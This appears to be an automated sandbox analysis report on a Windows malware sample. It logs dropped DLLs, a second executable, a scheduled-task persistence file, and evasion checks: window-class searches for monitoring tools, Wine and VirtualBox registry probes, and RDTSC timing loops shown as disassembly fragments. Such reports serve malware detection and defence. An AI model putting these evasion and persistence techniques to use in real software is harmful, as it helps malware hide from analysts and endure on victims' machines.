Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIEBFHCAKFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEBFHCAKFB.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEBFHCAKFB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIEBFHCAKFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9D55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B430 second address: C8B44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007F9C04EA4D32h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B44B second address: C8B463 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F9C04B939FAh 0x00000008 jng 00007F9C04B939F6h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95AF6 second address: C95B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007F9C04EA4D28h 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9C04EA4D2Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95B16 second address: C95B45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9C04B93A03h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9C04B939FFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95B45 second address: C95B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C0B second address: C95C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c je 00007F9C04B939FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C1F second address: C95C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C04EA4D2Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C2B second address: C95C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F9C04B93A04h 0x00000011 jmp 00007F9C04B939FEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C4A second address: C95C62 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C04EA4D2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C62 second address: C95C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C66 second address: C95C7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95C7F second address: C95C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9C04B939F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95E83 second address: C95E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95F94 second address: C96025 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9C04B939FFh 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push esi 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 pop esi 0x0000001a pop eax 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F9C04B939F8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov esi, dword ptr [ebp+122D3D19h] 0x0000003b push 00000003h 0x0000003d mov esi, dword ptr [ebp+122D3B29h] 0x00000043 push 00000000h 0x00000045 jnp 00007F9C04B939FCh 0x0000004b push 00000003h 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F9C04B939F8h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 0000001Ah 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 push A9309432h 0x0000006c jng 00007F9C04B93A00h 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB798E second address: CB79B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F9C04EA4D37h 0x0000000c jmp 00007F9C04EA4D2Bh 0x00000011 jno 00007F9C04EA4D26h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79B1 second address: CB79B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79B7 second address: CB79E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D35h 0x00000009 jmp 00007F9C04EA4D31h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79E2 second address: CB79EC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C04B939FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79EC second address: CB79FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 jng 00007F9C04EA4D26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C6B3 second address: C7C6BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C6BD second address: C7C6C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F9C04EA4D26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C6C9 second address: C7C6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C6CD second address: C7C6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F9C04EA4D2Eh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5885 second address: CB588C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB588C second address: CB58AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C04EA4D39h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB58AF second address: CB58B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5EFD second address: CB5F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9C04EA4D39h 0x0000000e jmp 00007F9C04EA4D2Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5F2E second address: CB5F3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5F3F second address: CB5F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F9C04EA4D26h 0x00000014 jmp 00007F9C04EA4D39h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB69A1 second address: CB69A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB69A6 second address: CB69AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE0D0 second address: CAE0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B93A04h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE0E9 second address: CAE0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE0EF second address: CAE0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE0F3 second address: CAE101 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE101 second address: CAE119 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9C04B939FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE119 second address: CAE11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB73C8 second address: CB73CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB987D second address: CB9881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9881 second address: CB9887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8733 second address: CB874F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C04EA4D37h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CF01 second address: C8CF0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F9C04B939F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC17A1 second address: CC17AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9C04EA4D2Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC193C second address: CC1942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1EF4 second address: CC1EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1EFA second address: CC1F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9C04B939FEh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9C04B939FEh 0x00000014 jmp 00007F9C04B93A05h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F35 second address: CC1F45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F9C04EA4D26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F45 second address: CC1F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F54 second address: CC1F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F5A second address: CC1F5F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC20DC second address: CC20FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9C04EA4D39h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC20FF second address: CC2112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B939FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5D37 second address: CC5D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5D3C second address: CC5D5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C04B939FDh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F9C04B939F6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6455 second address: CC645B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC645B second address: CC6466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6466 second address: CC646A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC646A second address: CC6484 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f ja 00007F9C04B93A00h 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6484 second address: CC6494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F9C04EA4D26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC686C second address: CC6872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6872 second address: CC6877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6877 second address: CC687C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6919 second address: CC6924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F9C04EA4D26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6BE6 second address: CC6C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9C04B939F6h 0x00000009 jnc 00007F9C04B939F6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007F9C04B939FFh 0x00000019 pushad 0x0000001a jmp 00007F9C04B939FDh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7320 second address: CC7326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7326 second address: CC734B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9C04B939FCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC77EC second address: CC781C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C04EA4D36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC781C second address: CC7820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC85A5 second address: CC85BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jno 00007F9C04EA4D26h 0x00000011 popad 0x00000012 jc 00007F9C04EA4D2Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9754 second address: CC975E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8EFF second address: CC8F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCE11 second address: CCCE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE282 second address: CCE28C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE28C second address: CCE291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
